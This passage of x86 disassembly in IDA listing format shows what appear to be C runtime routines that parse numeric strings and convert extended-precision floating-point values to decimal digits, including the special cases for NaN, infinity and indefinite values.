loc_42EF1F:				; CODE XREF: sub_42E7F0+78Bj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42EF30:				; CODE XREF: sub_42E7F0+72Dj
		cmp	dword_447480, 1
		jle	short loc_42EF55
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_B0], eax
		jmp	short loc_42EF72
; ---------------------------------------------------------------------------


loc_42EF55:				; CODE XREF: sub_42E7F0+747j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		mov	eax, off_447274
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_B0], ecx


loc_42EF72:				; CODE XREF: sub_42E7F0+763j
		cmp	[ebp+var_B0], 0
		jz	short loc_42EF7D
		jmp	short loc_42EF1F
; ---------------------------------------------------------------------------


loc_42EF7D:				; CODE XREF: sub_42E7F0+789j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_42EFF3
; ---------------------------------------------------------------------------


loc_42EF8F:				; CODE XREF: sub_42E7F0+D5j
					; DATA XREF: .data:0042F236o
		cmp	[ebp+arg_18], 0
		jz	short loc_42EFE3
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_64], eax
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_B4], cl
		cmp	[ebp+var_B4], 2Bh
		jz	short loc_42EFCB
		cmp	[ebp+var_B4], 2Dh
		jz	short loc_42EFBB
		jmp	short loc_42EFD4
; ---------------------------------------------------------------------------


loc_42EFBB:				; CODE XREF: sub_42E7F0+7C7j
		mov	[ebp+var_4C], 7
		mov	[ebp+var_74], 0FFFFFFFFh
		jmp	short loc_42EFE1
; ---------------------------------------------------------------------------


loc_42EFCB:				; CODE XREF: sub_42E7F0+7BEj
		mov	[ebp+var_4C], 7
		jmp	short loc_42EFE1
; ---------------------------------------------------------------------------


loc_42EFD4:				; CODE XREF: sub_42E7F0+7C9j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_64]
		mov	[ebp+var_4], edx


loc_42EFE1:				; CODE XREF: sub_42E7F0+7D9j
					; sub_42E7F0+7E2j
		jmp	short loc_42EFF3
; ---------------------------------------------------------------------------


loc_42EFE3:				; CODE XREF: sub_42E7F0+7A3j
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_42EFF3:				; CODE XREF: sub_42E7F0+CCj
					; sub_42E7F0+D5j ...
		jmp	loc_42E897
; ---------------------------------------------------------------------------


loc_42EFF8:				; CODE XREF: sub_42E7F0+ABj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		cmp	[ebp+var_54], 0
		jz	loc_42F147
		cmp	[ebp+var_40], 0
		jnz	loc_42F147
		cmp	[ebp+var_78], 0
		jnz	loc_42F147
		cmp	[ebp+var_70], 18h
		jbe	short loc_42F04F
		movsx	eax, [ebp+var_21]
		cmp	eax, 5
		jl	short loc_42F036
		mov	cl, [ebp+var_21]
		add	cl, 1
		mov	[ebp+var_21], cl


loc_42F036:				; CODE XREF: sub_42E7F0+83Bj
		mov	[ebp+var_70], 18h
		mov	edx, [ebp+var_68]
		sub	edx, 1
		mov	[ebp+var_68], edx
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax


loc_42F04F:				; CODE XREF: sub_42E7F0+832j
		cmp	[ebp+var_70], 0
		jbe	loc_42F12A
		mov	ecx, [ebp+var_68]
		sub	ecx, 1
		mov	[ebp+var_68], ecx
		jmp	short loc_42F06D
; ---------------------------------------------------------------------------


loc_42F064:				; CODE XREF: sub_42E7F0+899j
		mov	edx, [ebp+var_68]
		sub	edx, 1
		mov	[ebp+var_68], edx


loc_42F06D:				; CODE XREF: sub_42E7F0+872j
		mov	eax, [ebp+var_68]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_42F08B
		mov	edx, [ebp+var_70]
		sub	edx, 1
		mov	[ebp+var_70], edx
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		jmp	short loc_42F064
; ---------------------------------------------------------------------------


loc_42F08B:				; CODE XREF: sub_42E7F0+885j
		lea	ecx, [ebp+var_60]
		push	ecx
		mov	edx, [ebp+var_70]
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_42E6B0
		add	esp, 0Ch
		cmp	[ebp+var_74], 0
		jge	short loc_42F0AD
		mov	ecx, [ebp+var_14]
		neg	ecx
		mov	[ebp+var_14], ecx


loc_42F0AD:				; CODE XREF: sub_42E7F0+8B3j
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_6C]
		mov	[ebp+var_14], edx
		cmp	[ebp+var_18], 0
		jnz	short loc_42F0C5
		mov	eax, [ebp+var_14]
		add	eax, [ebp+arg_10]
		mov	[ebp+var_14], eax


loc_42F0C5:				; CODE XREF: sub_42E7F0+8CAj
		cmp	[ebp+var_C], 0
		jnz	short loc_42F0D4
		mov	ecx, [ebp+var_14]
		sub	ecx, [ebp+arg_14]
		mov	[ebp+var_14], ecx


loc_42F0D4:				; CODE XREF: sub_42E7F0+8D9j
		cmp	[ebp+var_14], 1450h
		jle	short loc_42F0E6
		mov	[ebp+var_40], 1
		jmp	short loc_42F128
; ---------------------------------------------------------------------------


loc_42F0E6:				; CODE XREF: sub_42E7F0+8EBj
		cmp	[ebp+var_14], 0FFFFEBB0h
		jge	short loc_42F0F8
		mov	[ebp+var_78], 1
		jmp	short loc_42F128
; ---------------------------------------------------------------------------


loc_42F0F8:				; CODE XREF: sub_42E7F0+8FDj
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		lea	ecx, [ebp+var_60]
		push	ecx
		call	sub_431980
		add	esp, 0Ch
		mov	dx, [ebp+var_60]
		mov	[ebp+var_48], dx
		mov	eax, [ebp+var_5E]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_5A]
		mov	[ebp+var_10], ecx
		mov	dx, [ebp+var_56]
		mov	word ptr [ebp+var_50], dx


loc_42F128:				; CODE XREF: sub_42E7F0+8F4j
					; sub_42E7F0+906j
		jmp	short loc_42F147
; ---------------------------------------------------------------------------


loc_42F12A:				; CODE XREF: sub_42E7F0+863j
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_8], ecx


loc_42F147:				; CODE XREF: sub_42E7F0+814j
					; sub_42E7F0+81Ej ...
		cmp	[ebp+var_54], 0
		jnz	short loc_42F176
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	edx, [ebp+var_50]
		and	edx, 0FFFFh
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_44]
		or	ecx, 4
		mov	[ebp+var_44], ecx
		jmp	short loc_42F1CD
; ---------------------------------------------------------------------------


loc_42F176:				; CODE XREF: sub_42E7F0+95Bj
		cmp	[ebp+var_40], 0
		jz	short loc_42F1A1
		mov	word ptr [ebp+var_50], 7FFFh
		mov	[ebp+var_10], 80000000h
		mov	[ebp+var_8], 0
		mov	[ebp+var_48], 0
		mov	edx, [ebp+var_44]
		or	edx, 2
		mov	[ebp+var_44], edx
		jmp	short loc_42F1CD
; ---------------------------------------------------------------------------


loc_42F1A1:				; CODE XREF: sub_42E7F0+98Aj
		cmp	[ebp+var_78], 0
		jz	short loc_42F1CD
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_44]
		or	edx, 1
		mov	[ebp+var_44], edx


loc_42F1CD:				; CODE XREF: sub_42E7F0+984j
					; sub_42E7F0+9AFj ...
		mov	eax, [ebp+arg_0]
		mov	cx, [ebp+var_48]
		mov	[eax], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+2], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		mov	[ecx+6], edx
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_1C]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ah], ax
		mov	eax, [ebp+var_44]
		mov	esp, ebp
		pop	ebp
		retn
sub_42E7F0	endp

; ---------------------------------------------------------------------------
off_42F20A	dd offset loc_42E8CC	; DATA XREF: sub_42E7F0+D5r
		dd offset loc_42E96A
		dd offset loc_42EA20
		dd offset loc_42EA8B
		dd offset loc_42EBA3
		dd offset loc_42ECD5
		dd offset loc_42ED4B
		dd offset loc_42EE30
		dd offset loc_42EDD2
		dd offset loc_42EE83
		dd offset loc_42EFF3
		dd offset loc_42EF8F
off_42F23A	dd offset loc_42E9F9	; DATA XREF: sub_42E7F0+1F0r
		dd offset loc_42E9E7
		dd offset loc_42E9F0
		dd offset loc_42EA0B
byte_42F24A	db 0			; DATA XREF: sub_42E7F0+1EAr
		db 3
		dd 1030300h, 4 dup(3030303h), 2030303h,	3030302h, 6 dup(3030303h)
		dd 2030303h
		db 2
off_42F285	dd offset loc_42EB7C	; DATA XREF: sub_42E7F0+37Cr
		dd offset loc_42EB73
		dd offset loc_42EB8E
byte_42F291	db 0, 2, 0, 16h	dup(2),	2 dup(1), 1Eh dup(2), 2	dup(1)
					; DATA XREF: sub_42E7F0+376r
off_42F2CC	dd offset loc_42ECAE	; DATA XREF: sub_42E7F0+4AEr
		dd offset loc_42ECA5
		dd offset loc_42ECC0
byte_42F2D8	db 0			; DATA XREF: sub_42E7F0+4A8r
		db 2, 0, 2
		dd 5 dup(2020202h), 2010102h, 7	dup(2020202h), 0CC010102h
		dd 3 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	0
		push	0
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_42E7F0
		add	esp, 1Ch
		mov	[ebp-14h], eax
		mov	ecx, [ebp+8]
		push	ecx
		lea	edx, [ebp-0Ch]
		push	edx
		call	sub_42B8F0
		add	esp, 8
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-10h], 1
		jnz	short loc_42F368
		mov	eax, [ebp-14h]
		or	al, 2
		mov	[ebp-14h], eax


loc_42F368:				; CODE XREF: .data:0042F35Ej
		mov	eax, [ebp-14h]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F370	proc near		; CODE XREF: sub_42BB70+36p

var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= word ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_52		= byte ptr -52h
var_51		= byte ptr -51h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_32		= dword	ptr -32h
var_2E		= dword	ptr -2Eh
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 74h
		mov	word ptr [ebp+var_64], 4D10h
		mov	word ptr [ebp+var_3C], 4Dh
		mov	word ptr [ebp+var_60], 9Ah
		mov	[ebp+var_20], 134312F4h
		mov	[ebp+var_54], 0CCh
		mov	[ebp+var_53], 0CCh
		mov	[ebp+var_52], 0CCh
		mov	[ebp+var_51], 0CCh
		mov	[ebp+var_50], 0CCh
		mov	[ebp+var_4F], 0CCh
		mov	[ebp+var_4E], 0CCh
		mov	[ebp+var_4D], 0CCh
		mov	[ebp+var_4C], 0CCh
		mov	[ebp+var_4B], 0CCh
		mov	[ebp+var_4A], 0FBh
		mov	[ebp+var_49], 3Fh
		mov	[ebp+var_58], 1
		mov	ax, [ebp+arg_8]
		mov	word ptr [ebp+var_70], ax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_48], edx
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		and	eax, 8000h
		mov	word ptr [ebp+var_68], ax
		mov	cx, word ptr [ebp+var_70]
		and	cx, 7FFFh
		mov	word ptr [ebp+var_70], cx
		mov	edx, [ebp+var_68]
		and	edx, 0FFFFh
		test	edx, edx
		jz	short loc_42F40E
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+2], 2Dh
		jmp	short loc_42F415
; ---------------------------------------------------------------------------


loc_42F40E:				; CODE XREF: sub_42F370+93j
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+2], 20h


loc_42F415:				; CODE XREF: sub_42F370+9Cj
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		test	edx, edx
		jnz	short loc_42F45C
		cmp	[ebp+var_24], 0
		jnz	short loc_42F45C
		cmp	[ebp+var_48], 0
		jnz	short loc_42F45C
		mov	eax, [ebp+arg_14]
		mov	word ptr [eax],	0
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+2], 20h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+3], 1
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+4], 30h
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+5], 0
		mov	eax, 1
		jmp	loc_42F882
; ---------------------------------------------------------------------------


loc_42F45C:				; CODE XREF: sub_42F370+B0j
					; sub_42F370+B6j ...
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		cmp	edx, 7FFFh
		jnz	loc_42F556
		mov	eax, [ebp+arg_14]
		mov	word ptr [eax],	1
		cmp	[ebp+var_24], 80000000h
		jnz	short loc_42F488
		cmp	[ebp+var_48], 0
		jz	short loc_42F4BC


loc_42F488:				; CODE XREF: sub_42F370+110j
		mov	ecx, [ebp+var_24]
		and	ecx, 40000000h
		test	ecx, ecx
		jnz	short loc_42F4BC
		push	offset a1Snan	; "1#SNAN"
		mov	edx, [ebp+arg_14]
		add	edx, 4
		push	edx
		call	sub_418870
		add	esp, 8
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 6
		mov	[ebp+var_58], 0
		jmp	loc_42F551
; ---------------------------------------------------------------------------


loc_42F4BC:				; CODE XREF: sub_42F370+116j
					; sub_42F370+123j
		mov	ecx, [ebp+var_68]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jz	short loc_42F4FC
		cmp	[ebp+var_24], 0C0000000h
		jnz	short loc_42F4FC
		cmp	[ebp+var_48], 0
		jnz	short loc_42F4FC
		push	offset a1Ind	; "1#IND"
		mov	edx, [ebp+arg_14]
		add	edx, 4
		push	edx
		call	sub_418870
		add	esp, 8
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 5
		mov	[ebp+var_58], 0
		jmp	short loc_42F551
; ---------------------------------------------------------------------------


loc_42F4FC:				; CODE XREF: sub_42F370+157j
					; sub_42F370+160j ...
		cmp	[ebp+var_24], 80000000h
		jnz	short loc_42F52F
		cmp	[ebp+var_48], 0
		jnz	short loc_42F52F
		push	offset a1Inf	; "1#INF"
		mov	ecx, [ebp+arg_14]
		add	ecx, 4
		push	ecx
		call	sub_418870
		add	esp, 8
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+3], 5
		mov	[ebp+var_58], 0
		jmp	short loc_42F551
; ---------------------------------------------------------------------------


loc_42F52F:				; CODE XREF: sub_42F370+193j
					; sub_42F370+199j
		push	offset a1Qnan	; "1#QNAN"
		mov	eax, [ebp+arg_14]
		add	eax, 4
		push	eax
		call	sub_418870
		add	esp, 8
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+3], 6
		mov	[ebp+var_58], 0


loc_42F551:				; CODE XREF: sub_42F370+147j
					; sub_42F370+18Aj ...
		jmp	loc_42F87F
; ---------------------------------------------------------------------------


loc_42F556:				; CODE XREF: sub_42F370+FBj
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		sar	edx, 8
		mov	word ptr [ebp+var_6C], dx
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		and	eax, 0FFh
		mov	[ebp+var_C], ax
		mov	ecx, [ebp+var_24]
		shr	ecx, 18h
		mov	word ptr [ebp+var_40], cx
		mov	edx, [ebp+var_64]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		imul	edx, eax
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFFFh
		mov	eax, [ebp+var_6C]
		and	eax, 0FFFFh
		imul	ecx, eax
		add	edx, ecx
		mov	ecx, [ebp+var_60]
		and	ecx, 0FFFFh
		mov	eax, [ebp+var_40]
		and	eax, 0FFFFh
		imul	ecx, eax
		add	edx, ecx
		sub	edx, [ebp+var_20]
		mov	[ebp+var_8], edx
		mov	ecx, [ebp+var_8]
		sar	ecx, 10h
		mov	[ebp+var_5C], cx
		mov	dx, word ptr [ebp+var_70]
		mov	word ptr [ebp+var_2E], dx
		mov	eax, [ebp+var_24]
		mov	[ebp+var_32], eax
		mov	ecx, [ebp+var_48]
		mov	[ebp+var_38+2],	ecx
		mov	word ptr [ebp+var_38], 0
		push	1
		movsx	edx, [ebp+var_5C]
		neg	edx
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_431980
		add	esp, 0Ch
		mov	ecx, [ebp+var_2E]
		and	ecx, 0FFFFh
		cmp	ecx, 3FFFh
		jl	short loc_42F62D
		mov	dx, [ebp+var_5C]
		add	dx, 1
		mov	[ebp+var_5C], dx
		lea	eax, [ebp+var_54]
		push	eax
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_431540
		add	esp, 8


loc_42F62D:				; CODE XREF: sub_42F370+29Fj
		mov	edx, [ebp+arg_14]
		mov	ax, [ebp+var_5C]
		mov	[edx], ax
		mov	ecx, [ebp+arg_10]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42F681
		movsx	edx, [ebp+var_5C]
		mov	eax, [ebp+arg_C]
		add	eax, edx
		mov	[ebp+arg_C], eax
		cmp	[ebp+arg_C], 0
		jg	short loc_42F681
		mov	ecx, [ebp+arg_14]
		mov	word ptr [ecx],	0
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+2], 20h
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 1
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+4], 30h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+5], 0
		mov	eax, 1
		jmp	loc_42F882
; ---------------------------------------------------------------------------


loc_42F681:				; CODE XREF: sub_42F370+2CFj
					; sub_42F370+2E1j
		cmp	[ebp+arg_C], 15h
		jle	short loc_42F68E
		mov	[ebp+arg_C], 15h


loc_42F68E:				; CODE XREF: sub_42F370+315j
		mov	eax, [ebp+var_2E]
		and	eax, 0FFFFh
		sub	eax, 3FFEh
		mov	[ebp+var_2E+2],	eax
		mov	word ptr [ebp+var_2E], 0
		mov	[ebp+var_44], 0
		jmp	short loc_42F6B6
; ---------------------------------------------------------------------------


loc_42F6AD:				; CODE XREF: sub_42F370+358j
		mov	ecx, [ebp+var_44]
		add	ecx, 1
		mov	[ebp+var_44], ecx


loc_42F6B6:				; CODE XREF: sub_42F370+33Bj
		cmp	[ebp+var_44], 8
		jge	short loc_42F6CA
		lea	edx, [ebp+var_38]
		push	edx
		call	sub_42E5E0
		add	esp, 4
		jmp	short loc_42F6AD
; ---------------------------------------------------------------------------


loc_42F6CA:				; CODE XREF: sub_42F370+34Aj
		cmp	[ebp+var_2E+2],	0
		jge	short loc_42F6FC
		mov	eax, [ebp+var_2E+2]
		neg	eax
		and	eax, 0FFh
		mov	[ebp+var_74], eax
		jmp	short loc_42F6E8
; ---------------------------------------------------------------------------


loc_42F6DF:				; CODE XREF: sub_42F370+38Aj
		mov	ecx, [ebp+var_74]
		sub	ecx, 1
		mov	[ebp+var_74], ecx


loc_42F6E8:				; CODE XREF: sub_42F370+36Dj
		cmp	[ebp+var_74], 0
		jle	short loc_42F6FC
		lea	edx, [ebp+var_38]
		push	edx
		call	sub_42E640
		add	esp, 4
		jmp	short loc_42F6DF
; ---------------------------------------------------------------------------


loc_42F6FC:				; CODE XREF: sub_42F370+35Ej
					; sub_42F370+37Cj
		mov	eax, [ebp+arg_14]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		jmp	short loc_42F719
; ---------------------------------------------------------------------------


loc_42F710:				; CODE XREF: sub_42F370+413j
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx


loc_42F719:				; CODE XREF: sub_42F370+39Ej
		cmp	[ebp+var_10], 0
		jle	short loc_42F785
		mov	eax, [ebp+var_38]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp-34h]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_32+2]
		mov	[ebp+var_14], edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_42E5E0
		add	esp, 4
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_42E5E0
		add	esp, 4
		lea	edx, [ebp+var_1C]
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_42E530
		add	esp, 8
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_42E5E0
		add	esp, 4
		mov	edx, [ebp+var_2E+1]
		and	edx, 0FFh
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	byte ptr [ebp+var_2E+1], 0
		jmp	short loc_42F710
; ---------------------------------------------------------------------------


loc_42F785:				; CODE XREF: sub_42F370+3ADj
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[ebp+var_28], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		movsx	eax, [ebp+var_28]
		cmp	eax, 35h
		jl	short loc_42F803
		jmp	short loc_42F7B3
; ---------------------------------------------------------------------------


loc_42F7AA:				; CODE XREF: sub_42F370+45Fj
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_42F7B3:				; CODE XREF: sub_42F370+438j
		mov	edx, [ebp+arg_14]
		add	edx, 4
		cmp	[ebp+var_4], edx
		jb	short loc_42F7D1
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 39h
		jnz	short loc_42F7D1
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		jmp	short loc_42F7AA
; ---------------------------------------------------------------------------


loc_42F7D1:				; CODE XREF: sub_42F370+44Cj
					; sub_42F370+457j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jnb	short loc_42F7F5
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_14]
		mov	ax, [edx]
		add	ax, 1
		mov	ecx, [ebp+arg_14]
		mov	[ecx], ax


loc_42F7F5:				; CODE XREF: sub_42F370+46Aj
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		add	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_42F85C
; ---------------------------------------------------------------------------


loc_42F803:				; CODE XREF: sub_42F370+436j
		jmp	short loc_42F80E
; ---------------------------------------------------------------------------


loc_42F805:				; CODE XREF: sub_42F370+4B4j
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_42F80E:				; CODE XREF: sub_42F370:loc_42F803j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jb	short loc_42F826
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 30h
		jnz	short loc_42F826
		jmp	short loc_42F805
; ---------------------------------------------------------------------------


loc_42F826:				; CODE XREF: sub_42F370+4A7j
					; sub_42F370+4B2j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jnb	short loc_42F85C
		mov	ecx, [ebp+arg_14]
		mov	word ptr [ecx],	0
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+2], 20h
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 1
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+4], 30h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+5], 0
		mov	eax, 1
		jmp	short loc_42F882
; ---------------------------------------------------------------------------


loc_42F85C:				; CODE XREF: sub_42F370+491j
					; sub_42F370+4BFj
		mov	eax, [ebp+arg_14]
		add	eax, 4
		mov	ecx, [ebp+var_4]
		sub	ecx, eax
		add	ecx, 1
		mov	edx, [ebp+arg_14]
		mov	[edx+3], cl
		mov	eax, [ebp+arg_14]
		movsx	ecx, byte ptr [eax+3]
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+ecx+4], 0


loc_42F87F:				; CODE XREF: sub_42F370:loc_42F551j
		mov	eax, [ebp+var_58]


loc_42F882:				; CODE XREF: sub_42F370+E7j
					; sub_42F370+30Cj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42F370	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		mov	eax, off_4482A8
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42F8B8
; ---------------------------------------------------------------------------


loc_42F8AF:				; CODE XREF: .data:0042F8EFj
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx


loc_42F8B8:				; CODE XREF: .data:0042F8ADj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_42F8F1
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_414EC0
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+1Ch]
		push	ecx
		call	sub_414EC0
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_42F8AF
; ---------------------------------------------------------------------------


loc_42F8F1:				; CODE XREF: .data:0042F8BCj
		mov	eax, [ebp-8]
		add	eax, 1
		push	eax
		call	sub_415090
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_42F9A9
		mov	ecx, [ebp-4]
		mov	[ebp-14h], ecx
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_42F925
; ---------------------------------------------------------------------------


loc_42F91C:				; CODE XREF: .data:0042F998j
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx


loc_42F925:				; CODE XREF: .data:0042F91Aj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_42F99A
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	3Ah
		mov	ecx, [ebp-14h]
		add	ecx, 1
		mov	[ebp-14h], ecx
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp-14h]
		push	edx
		call	sub_418870
		add	esp, 8
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	ecx, [ebp-14h]
		add	ecx, eax
		mov	[ebp-14h], ecx
		mov	edx, [ebp-14h]
		mov	byte ptr [edx],	3Ah
		mov	eax, [ebp-14h]
		add	eax, 1
		mov	[ebp-14h], eax
		mov	ecx, [ebp-10h]
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+ecx*4+1Ch]
		push	eax
		mov	ecx, [ebp-14h]
		push	ecx
		call	sub_418870
		add	esp, 8
		push	eax
		call	sub_414EC0
		add	esp, 4
		mov	edx, [ebp-14h]
		add	edx, eax
		mov	[ebp-14h], edx
		jmp	short loc_42F91C
; ---------------------------------------------------------------------------


loc_42F99A:				; CODE XREF: .data:0042F929j
		mov	eax, [ebp-14h]
		mov	byte ptr [eax],	0
